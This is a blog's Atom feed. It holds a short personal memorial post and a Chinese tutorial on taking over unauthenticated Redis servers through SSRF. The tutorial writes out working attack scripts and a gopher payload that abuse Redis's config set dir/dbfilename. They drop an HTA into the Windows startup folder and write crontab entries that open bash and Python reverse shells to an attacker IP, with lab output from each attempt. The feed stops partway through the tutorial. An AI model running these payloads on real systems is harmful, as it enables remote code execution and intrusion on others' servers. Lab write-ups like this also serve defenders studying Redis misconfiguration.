<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>峰焕亭</title>
  
  <subtitle>xiaopo的个人博客</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://xiaopo.org/"/>
  <updated>2021-01-26T15:07:36.993Z</updated>
  <id>https://xiaopo.org/</id>
  
  <author>
    <name>xiaopo</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>我娘五周年</title>
    <link href="https://xiaopo.org/posts/myMother5.html"/>
    <id>https://xiaopo.org/posts/myMother5.html</id>
    <published>2021-01-26T22:36:55.000Z</published>
    <updated>2021-01-26T15:07:36.993Z</updated>
    
    <content type="html"><![CDATA[<p>我娘离开我，转眼五年了，今年由于疫情没有回家祭奠，希望娘能原谅我，等一会儿就去小区给我娘和我姥娘送点钱。</p><a id="more"></a><h2 id="我娘"><a href="#我娘" class="headerlink" title="我娘"></a>我娘</h2><p>不喜欢用母亲，用娘更亲切。<br>我娘小时候学习语文很好，我记得小时候拿那些盗版书还是啥书擦屁股，有时候上面是文言文，我娘还给我从厕所里面拿出来说上面写得多好，让我看一看，我都看不懂，因为那上面写得太文言文了。我语文不好，主要是作文写着写着就没思绪了，就不知道该写啥，记得小学升初中之前，我娘自己给我手写了好几篇作文让我看。<br>如果我娘还在的话，那该多好哇，我娘也应该54岁了，我娘67年的，属羊的，我爸属狗的。<br>有空了在互联网上放几张我和我娘的照片，我还有一些视频存着。</p><h2 id="从来没有走出过那个地方"><a href="#从来没有走出过那个地方" class="headerlink" title="从来没有走出过那个地方"></a>从来没有走出过那个地方</h2><p>我印象中我娘只有两次离开家乡，一次是从家到河南，坐得还是汽车，因为我姨结婚，我姨夫是河南的；还有一次是送我到日照上学，不过也是坐得汽车，回去也是坐得汽车，我还记得坐得是到青岛的汽车，那时候汽车就把我们仨扔到高速路口就走了。<br>所以我娘从来没坐过火车，甚至没坐过绿皮火车，更没坐过飞机、轮船，不是想说火车多么高级，只是想让我娘体验一下，接触新鲜事物。因为我娘一直在家忙这忙那，连个周末休息日都没有，天天忙，去趟县城是唯一能让她快乐的事，那时候我陪着我娘逛县城一些街边卖衣服的小店，我都逛累了她还是那么能跑，但是也没见她买衣服，唯一舍得的是去商场给我买那些贵的保暖的衣服。</p><h2 id="十周年"><a href="#十周年" class="headerlink" title="十周年"></a>十周年</h2><p>希望能在十周年的时候好好地给我娘过一个十周年。</p><p>写得不多，越写越想哭，去给我娘送钱去了。</p><p>2020-01-26晚 于北京上地东里</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;我娘离开我，转眼五年了，今年由于疫情没有回家祭奠，希望娘能原谅我，等一会儿就去小区给我娘和我姥娘送点钱。&lt;/p&gt;
    
    </summary>
    
    
      <category term="我娘" scheme="https://xiaopo.org/categories/%E6%88%91%E5%A8%98/"/>
    
    
  </entry>
  
  <entry>
    <title>redis getshell实战</title>
    <link href="https://xiaopo.org/posts/eb21dee.html"/>
    <id>https://xiaopo.org/posts/eb21dee.html</id>
    <published>2020-07-24T22:02:00.000Z</published>
    <updated>2021-01-26T15:07:36.993Z</updated>
    
    <content type="html"><![CDATA[<p>ssrf会造成内网漫游，redis作为一种内网常用的中间件易受到攻击，本文主要实践了redis未授权下的攻击和利用，主要从写文件和主从复制RCE两个方面进行了阐述，期间遇到了一些坑，记录下来以飨众人。</p><a id="more"></a><h2 id="写文件"><a href="#写文件" class="headerlink" title="写文件"></a>写文件</h2><p>写文件这个功能其实就是通过修改redis的dbfilename、dir配置项，通常来说掌控了写文件也就完成了rce的一半，这几种写文件来getshell的方式也是最有效最简单的。</p><h3 id="Windows"><a href="#Windows" class="headerlink" title="Windows"></a>Windows</h3><h4 id="开机自启动"><a href="#开机自启动" class="headerlink" title="开机自启动"></a>开机自启动</h4><p>在Windows 系统中有一个特殊的目录叫自启动目录，在这个目录下的文件在开机的时候都会被运行。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\redis_rce.hta</span><br></pre></td></tr></table></figure><p>笔者把下面这段JScript执行<code>calc</code>命令的代码写到了该目录下，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;SCRIPT Language&#x3D;&quot;JScript&quot;&gt;new ActiveXObject(&quot;WScript.Shell&quot;).run(&quot;calc.exe&quot;);&lt;&#x2F;SCRIPT&gt;</span><br></pre></td></tr></table></figure><p>我们在win测试机上搭建一个有ssrf的漏洞，利用gopher协议发送redis协议流量，我们在Linux上使用socat捕获redis协议流量，windows_startup.sh内容如下，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">echo -e '\n\n&lt;SCRIPT Language="JScript"&gt;new ActiveXObject("WScript.Shell").run("calc.exe");&lt;/SCRIPT&gt;\n\n'|redis-cli -h $1 -p $2 -x set 1</span><br><span class="line">redis-cli -h $1 -p $2 config set dir 'C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp'  # 指定本地数据库存放目录</span><br><span class="line">redis-cli -h $1 -p $2 config set dbfilename redis_rce.hta  # 指定本地数据库文件名，默认值为dump.rdb</span><br><span class="line">redis-cli -h $1 -p $2 save</span><br><span class="line">redis-cli -h $1 -p $2 quit</span><br></pre></td></tr></table></figure><p><code>config set dir</code>后面的路径要加引号，否则会报错，加引号之后的报错可以忽略，因为Linux上面没有这个路径。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1:6379&gt; config set dir C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp</span><br><span class="line">(error) ERR Wrong number of arguments for CONFIG set</span><br><span class="line">127.0.0.1:6379&gt; config set dir 'C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp'</span><br><span class="line">(error) ERR Changing directory: No such file or directory</span><br></pre></td></tr></table></figure><p>在转换流量的时候要把下面的报错信息去掉，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt; 2020&#x2F;07&#x2F;23 16:00:40.500366  length&#x3D;52 from&#x3D;0 to&#x3D;51</span><br><span class="line">-ERR Changing directory: No such file or directory\r</span><br></pre></td></tr></table></figure><p>得到gopher协议payload，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> xiaopo @ fht <span class="keyword">in</span> ~/python/POC/ssrf [16:08:46] </span></span><br><span class="line"><span class="meta">$</span><span class="bash"> python tran2gopher.py socat_windows_startup.log</span></span><br><span class="line">*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$92%0d%0a%0a%0a&lt;SCRIPT Language="JScript"&gt;new ActiveXObject("WScript.Shell").run("calc.exe");&lt;/SCRIPT&gt;%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$60%0d%0aC:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$13%0d%0aredis_rce.hta%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a</span><br></pre></td></tr></table></figure><p>然后还需对上面内容的特殊字符进行url编码，比如%，因为ssrf利用经过了两个协议（先http后gopher），最终payload触发，<br><img src="https://i.loli.net/2020/07/24/TqmCQrOR6ZE8gVh.png" alt="/data/typora_assets/redis/image-20200723164207035.png"></p><h3 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h3><p>以下三种利用方式都需要有写文件权限（这不废话），需要redis以root权限运行。<br>redis原始信息</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost redis]# redis-cli </span><br><span class="line">127.0.0.1:6379&gt; config get dir</span><br><span class="line">1) "dir"</span><br><span class="line">2) "/var/lib/redis"</span><br><span class="line">127.0.0.1:6379&gt; config get dbfilename</span><br><span class="line">1) "dbfilename"</span><br><span class="line">2) "dump.rdb"</span><br><span class="line">127.0.0.1:6379&gt; get 1</span><br><span class="line">"\n\n12345\n"</span><br></pre></td></tr></table></figure><h4 id="crontab"><a href="#crontab" class="headerlink" title="crontab"></a>crontab</h4><p>定时任务目录</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">centos:</span><br><span class="line">/var/spool/cron/root # centos系统下root用户的cron文件，实际测试成功。</span><br><span class="line">/etc/crontab # 该位置的payload需要加root，实际测试成功。</span><br><span class="line">/etc/cron.d/* # 将利用这个目录，可以做到不覆盖任何其他文件的情况进行反弹shell，实际测试成功。</span><br><span class="line"></span><br><span class="line">ubuntu：</span><br><span class="line">/var/spool/cron/crontabs/root # debian系统下root用户的cron文件，实际测试不能成功反弹shell。</span><br><span class="line">/etc/crontab # 该位置的payload需要加root，实际测试不能成功反弹shell。</span><br><span class="line">/etc/cron.d/* # 利用这个目录，可以做到不覆盖任何其他文件的情况进行反弹shell，实际测试不能成功反弹shell。</span><br></pre></td></tr></table></figure><p>getshell_crontab.sh内容如下，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">echo -e "\n\n* * * * * bash -i &gt;&amp; /dev/tcp/127.0.0.1/2333 0&gt;&amp;1\n\n"|redis-cli -h $1 -p $2 -x set 1</span><br><span class="line">redis-cli -h $1 -p $2 config set dir /var/spool/cron/  # 指定本地数据库存放目录</span><br><span class="line">redis-cli -h $1 -p $2 config set dbfilename root  # 指定本地数据库文件名，默认值为dump.rdb</span><br><span class="line">redis-cli -h $1 -p $2 save</span><br><span class="line">redis-cli -h $1 -p $2 quit</span><br></pre></td></tr></table></figure><p>注意：有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务，以上代码在centos7下测试成功，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost redis]# bash getshell_crontab.sh 127.0.0.1 6379</span><br><span class="line">OK</span><br><span class="line">OK</span><br><span class="line">OK</span><br><span class="line">OK</span><br><span class="line">OK</span><br><span class="line"></span><br><span class="line">127.0.0.1:6379&gt; get 1</span><br><span class="line">"\n\n* * * * * bash -i &gt;&amp; /dev/tcp/192.168.0.106/2333 0&gt;&amp;1\n\n\n"</span><br><span class="line">127.0.0.1:6379&gt; config get dir</span><br><span class="line">1) "dir"</span><br><span class="line">2) "/var/spool/cron"</span><br><span class="line">127.0.0.1:6379&gt; config get dbfilename</span><br><span class="line">1) "dbfilename"</span><br><span class="line">2) "root"</span><br></pre></td></tr></table></figure><p>写入文件<code>/var/spool/cron/root</code>内容如下，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">REDIS0007ú      redis-ver^F3.2.12ú</span><br><span class="line">redis-bitsÀ@ú^EctimeÂ±C^C_ú^Hused-memÂøf^L^@þ^@û^A^@^@À^A:</span><br><span class="line"></span><br><span class="line">* * * * * bash -i &gt;&amp; &#x2F;dev&#x2F;tcp&#x2F;192.168.0.106&#x2F;2333 0&gt;&amp;1</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ÿ&lt;91&gt;Å  &lt;87&gt;7^X´g</span><br></pre></td></tr></table></figure><p>在Linux Mint19.3也就是Ubuntu 18.04 LTS上面测试多个目录均无法成功save，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">root@mint-VirtualBox:/data/hack/B/middleware/redis# bash getshell_crontab.sh 127.0.0.1 6379</span><br><span class="line">OK</span><br><span class="line">OK</span><br><span class="line">OK</span><br><span class="line">(error) ERR</span><br><span class="line">OK</span><br></pre></td></tr></table></figure><p>查看redis运行权限发现是redis用户，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mint@mint-VirtualBox:~$ ps -ef | grep redis</span><br><span class="line">redis     1750     1  0 23:22 ?        00:00:00 /usr/bin/redis-server 127.0.0.1:6379</span><br><span class="line">mint      1755  1682  0 23:22 pts/0    00:00:00 grep --color=auto red</span><br></pre></td></tr></table></figure><p>同时从redis配置文件中找到redis log位置，然后查看日志，发现主要原因是只读权限，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">2958:M 17 Jul 16:55:31.014 * 1 changes in 900 seconds. Saving...</span><br><span class="line">2958:M 17 Jul 16:55:31.014 * Background saving started by pid 4151</span><br><span class="line">4151:C 17 Jul 16:55:31.015 # Failed opening the RDB file dump.rdb (in server root dir &#x2F;var&#x2F;spool&#x2F;cron) for saving: Read-only file system</span><br><span class="line">2958:M 17 Jul 16:55:31.115 # Background saving error</span><br><span class="line">2958:M 17 Jul 16:55:37.103 * 1 changes in 900 seconds. Saving...</span><br><span class="line">2958:M 17 Jul 16:55:37.104 * Background saving started by pid 4152</span><br><span class="line">4152:C 17 Jul 16:55:37.105 # Failed opening the RDB file dump.rdb (in server root dir &#x2F;var&#x2F;spool&#x2F;cron) for saving: Read-only file system</span><br><span class="line">2958:M 17 Jul 16:55:37.204 # Background saving error</span><br></pre></td></tr></table></figure><p>停止redis服务，然后sudo运行，查看为root运行权限，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">mint@mint-VirtualBox:~$ service redis stop</span><br><span class="line">mint@mint-VirtualBox:~$ ps -ef | grep redis</span><br><span class="line">mint      1922  1682  0 23:30 pts/0    00:00:00 grep --color=auto redis</span><br><span class="line">mint@mint-VirtualBox:~$ sudo /usr/bin/redis-server </span><br><span class="line">1978:C 17 Jul 23:35:34.339 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo</span><br><span class="line">1978:C 17 Jul 23:35:34.339 # Redis version=4.0.9, bits=64, commit=00000000, modified=0, pid=1978, just started</span><br><span class="line">1978:C 17 Jul 23:35:34.339 # Warning: no config file specified, using the default config. In order to specify a config file use /usr/bin/redis-server /path/to/redis.conf</span><br><span class="line">1978:M 17 Jul 23:35:34.340 * Increased maximum number of open files to 10032 (it was originally set to 1024).</span><br><span class="line">mint@mint-VirtualBox:~$ ps -ef | grep redis</span><br><span class="line">root      1977  1682  0 23:35 pts/0    00:00:00 sudo /usr/bin/redis-server</span><br><span class="line">root      1978  1977  0 23:35 pts/0    00:00:00 /usr/bin/redis-server *:6379</span><br><span class="line">mint      1996  1985  0 23:35 pts/1    00:00:00 grep --color=auto redis</span><br></pre></td></tr></table></figure><p>再次运行利用脚本，成功写入<code>/var/spool/cron/crontabs/root</code>，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">REDIS0008ú      redis-ver^E4.0.9ú</span><br><span class="line">redis-bitsÀ@ú^EctimeÂvÆ^Q_ú^Hused-memÂÈ#^M^@ú^Laof-preambleÀ^@þ^@û^A^@^@À^A:</span><br><span class="line"></span><br><span class="line">* * * * * bash -i &gt;&amp; /dev/tcp/192.168.0.106/2333 0&gt;&amp;1</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ÿ&lt;9c&gt;^TL¶d¦ª</span><br></pre></td></tr></table></figure><p>奇怪的是，即使成功写入，也并未触发反弹shell，重启cron服务无效</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo service cron status</span><br></pre></td></tr></table></figure><p>查看cron log日志，发现没有开启，找到rsyslog日志中cron部分，去掉前面的#号，重启rsyslog</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mint@mint-VirtualBox:~$ less -10 /var/log/cron.log</span><br><span class="line">/var/log/cron.log: No such file or directory</span><br><span class="line">mint@mint-VirtualBox:~$ sudo vim /etc/rsyslog.d/50-default.conf</span><br><span class="line">mint@mint-VirtualBox:~$ sudo service rsyslog restart</span><br></pre></td></tr></table></figure><p>cron log日志如下，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">int@mint-VirtualBox:~$ tail -f /var/log/cron.log</span><br><span class="line">Jul 18 18:33:05 mint-VirtualBox crontab[2035]: (root) LIST (root)</span><br><span class="line">Jul 18 18:34:02 mint-VirtualBox cron[573]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)</span><br></pre></td></tr></table></figure><p>网上搜索必须”chmod 600”才行，默认的情况好像是644？</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">mint@mint-VirtualBox:~$ sudo ls -l /var/spool/cron/crontabs/</span><br><span class="line">total 4</span><br><span class="line">-rw-r--r-- 1 root root 54 Jul 18 17:36 root</span><br><span class="line">mint@mint-VirtualBox:~$ sudo chmod 600 /var/spool/cron/crontabs/root</span><br><span class="line">mint@mint-VirtualBox:~$ sudo ls -l /var/spool/cron/crontabs/</span><br><span class="line">total 4</span><br><span class="line">-rw------- 1 root root 54 Jul 18 17:36 root</span><br><span class="line">mint@mint-VirtualBox:~$ sudo service cron restart</span><br></pre></td></tr></table></figure><p>然后继续观察日志，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Jul 18 19:17:01 mint-VirtualBox CRON[2759]: (root) CMD (   cd / &amp;&amp; run-parts --report /etc/cron.hourly)</span><br><span class="line">Jul 18 19:26:01 mint-VirtualBox cron[2173]: (root) RELOAD (crontabs/root)</span><br><span class="line">Jul 18 19:26:01 mint-VirtualBox cron[2173]: Error: bad minute; while reading crontab for user root</span><br><span class="line">Jul 18 19:26:01 mint-VirtualBox cron[2173]: (root) ERROR (Syntax error, this crontab file will be ignored)</span><br><span class="line">Jul 18 19:27:09 mint-VirtualBox crontab[2843]: (root) LIST (root)</span><br></pre></td></tr></table></figure><p>据上面日志猜测可能是由于crontab文件格式的问题，我们尝试把<code>/var/spool/cron/crontabs/root</code>文件内容改成一条反弹shell的任务，即</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">root@mint-VirtualBox:/data/hack/C/middleware/redis# cat /var/spool/cron/crontabs/root </span><br><span class="line">* * * * * bash -i &gt;&amp; /dev/tcp/192.168.0.106/2333 0&gt;&amp;1</span><br></pre></td></tr></table></figure><p>相关日志，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Jul 18 19:30:01 mint-VirtualBox cron[2173]: (root) RELOAD (crontabs/root)</span><br><span class="line">Jul 18 19:30:01 mint-VirtualBox CRON[2869]: (root) CMD (bash -i &gt;&amp; /dev/tcp/192.168.0.106/2333 0&gt;&amp;1)</span><br><span class="line">Jul 18 19:30:01 mint-VirtualBox CRON[2868]: (CRON) info (No MTA installed, discarding output)</span><br><span class="line">Jul 18 19:31:01 mint-VirtualBox CRON[2881]: (root) CMD (bash -i &gt;&amp; /dev/tcp/192.168.0.106/2333 0&gt;&amp;1)</span><br><span class="line">Jul 18 19:31:01 mint-VirtualBox CRON[2880]: (CRON) info (No MTA installed, discarding output)</span><br></pre></td></tr></table></figure><p>“No MTA installed, discarding output”网上有很多解法，解法1是安装邮件服务器；解法2是把shell命令放到一个文件中，执行该文件，然后重定向到null文件。官方解法见链接<a href="https://cronitor.io/cron-reference/no-mta-installed-discarding-output" target="_blank" rel="noopener">https://cronitor.io/cron-reference/no-mta-installed-discarding-output</a></p><p>值得注意的是，官方里面说这个错误不会影响任务本身的执行，但是为什么依然没有反弹shell呢，我们试着用其中一种解法<code>MAILTO=&quot;&quot;</code>来解决该错误，然后观察日志，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Jul 18 19:38:01 mint-VirtualBox cron[2173]: (root) RELOAD (crontabs/root)</span><br><span class="line">Jul 18 19:38:01 mint-VirtualBox CRON[2964]: (root) CMD (bash -i &gt;&amp; /dev/tcp/192.168.0.106/2333 0&gt;&amp;1)</span><br><span class="line">Jul 18 19:38:20 mint-VirtualBox crontab[2967]: (root) LIST (root)</span><br><span class="line">Jul 18 19:39:01 mint-VirtualBox CRON[2975]: (root) CMD (bash -i &gt;&amp; /dev/tcp/192.168.0.106/2333 0&gt;&amp;1)</span><br></pre></td></tr></table></figure><p>果然没再报错，但是依旧没有反弹shell，是不是反弹shell命令写错了？我们尝试直接执行是没有问题的，<br><img src="https://i.loli.net/2020/07/24/BLlkCrbD8aujJvV.png" alt="/data/typora_assets/redis/20200718194424795.png"><br>后来发现这篇文章，<a href="https://www.onebug.org/websafe/98675.html" target="_blank" rel="noopener">https://www.onebug.org/websafe/98675.html</a> 里面提到“bash -i反弹shell都失败，不过python，perl可以”，换成python的试一下，确实可以，<br><img src="https://i.loli.net/2020/07/24/YViLD2kGw1CsZoA.png" alt="/data/typora_assets/redis/20200718200550210.png"><br>我们使用python反弹shell试一下ubuntu是否真的会受格式影响，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">echo -e "\n\n* * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h $1 -p $2 -x set 1</span><br><span class="line">redis-cli -h $1 -p $2 config set dir /var/spool/cron/crontabs/  # 指定本地数据库存放目录</span><br><span class="line">redis-cli -h $1 -p $2 config set dbfilename root  # 指定本地数据库文件名，默认值为dump.rdb</span><br><span class="line">redis-cli -h $1 -p $2 save</span><br><span class="line">redis-cli -h $1 -p $2 quit</span><br><span class="line"></span><br><span class="line">127.0.0.1:6379&gt; get 1</span><br><span class="line">"\n\n* * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\</span><br></pre></td></tr></table></figure><p>但是写入到<code>/var/spool/cron/crontabs/root</code>文件的比较怪，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">EDIS0008ú      redis-ver^E4.0.9ú</span><br><span class="line">redis-bitsÀ@ú^EctimeÂ&#125;æ^R_ú^Hused-memÂ¨Ó^L^@ú^Laof-preambleÀ^@þ^@û^A^@^@À^AÃ@Á@ù^C</span><br><span class="line"></span><br><span class="line">* À^A^_&#x2F;usr&#x2F;bin&#x2F;python -c &#39;import socke^Qt,subprocess,os;s&#x3D;&lt;80&gt;^V^@.&lt;80&gt;^F^@(&lt;80&gt;^F^H.AF_INET, ^N^]SOCK_STREAM);s.connect((&quot;127.0 ^A^_1&quot;,2333));os.dup2(s.fileno(),0);^@ à</span><br><span class="line">^V^@1à^M^V^D2);p&#x3D;à^A¤^G.call([&quot;&#96;Ô^Nsh&quot;,&quot;-i&quot;]);&#39;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ÿáÍëÝîÇpá</span><br></pre></td></tr></table></figure><p>16进制查看，<br><img src="https://i.loli.net/2020/07/24/Vzei6OFRBC8aSGX.png" alt="/data/typora_assets/redis/20200718214546791.png"><br>按照<a href="https://lorexxar.cn/2016/12/03/redis-getshell/" target="_blank" rel="noopener">https://lorexxar.cn/2016/12/03/redis-getshell/</a> 这篇文章所讲好像发生了截断？但是具体怎么个截断法，没搞明白，是否可能构造出完美payload有待研究？如果写入字符比较少就不会发生截断，例如，<br><img src="https://i.loli.net/2020/07/24/3TlSW2YkRxQreUf.png" alt="/data/typora_assets/redis/20200718220052178.png"><br>最后我们尝试一下，如果不发生截断的情况下写到<code>/var/spool/cron/crontabs/root</code>文件，能否反弹shell，我们手动更改<code>/var/spool/cron/crontabs/root</code>文件内容如下，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">REDIS0008ú      redis-ver^E4.0.9ú</span><br><span class="line">redis-bitsÀ@ú^EctimeÂ^G^@^S_ú^Hused-memÂè!^M^@ú^Laof-preambleÀ^@þ^@û^A^@^@À^AÃ@Á@ù^C</span><br><span class="line"></span><br><span class="line">* * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.106",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ÿ¸l&lt;8e&gt;Ø^Z&lt;9c&gt;&lt;90&gt;</span><br></pre></td></tr></table></figure><p>最后发现是不行的，cron log报时间格式错误、语法错误，<br><img src="https://i.loli.net/2020/07/24/wWsuCKPoB5YF3vj.png" alt="/data/typora_assets/redis/20200718221117435.png"><br>总结：</p><ul><li>centos下可以成功写crontab反弹shell。</li><li>ubuntu下无法写crontab反弹shell，主要原因在于ubuntu对于crontab格式要求比较严格，不允许有语法出错，而redis在写入的时候，在前、后都会附加redis的一些信息；另外就是ubuntu下利用crontab使用bash反弹shell是无法成功的，原因是执行 crontab 使用的是 <code>/bin/sh</code> , 而ubuntu下<code>/bin/sh</code> 软连接的是dash ，而不是 bash，那么如果你直接在 cron 里面写 bash - i xx 的反弹是不可能成功的，解决方法有三种，一种是改写为<code>bash -c &quot;bash -i &gt;&amp;/dev/tcp/192.168.0.106/2333 0&gt;&amp;1&quot;</code>，另一种就是使用 python 调用 <code>/bin/sh</code> 反弹 shell ，还有一种可以尝试写 bash 文件，然后用 crontab 去执行。比如/tmp/test.sh<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash">!/bin/bash</span></span><br><span class="line">/bin/bash -i &gt;&amp; /dev/tcp/192.168.0.106/2333 0&gt;&amp;1</span><br></pre></td></tr></table></figure>注意此处为<code>#!/bin/bash</code>而非<code>#!/bin/sh</code>，然后为test.sh加上执行权限<code>chmod +x /tmp/test.sh</code>，之后任务计划里的内容修改为<code>* * * * * 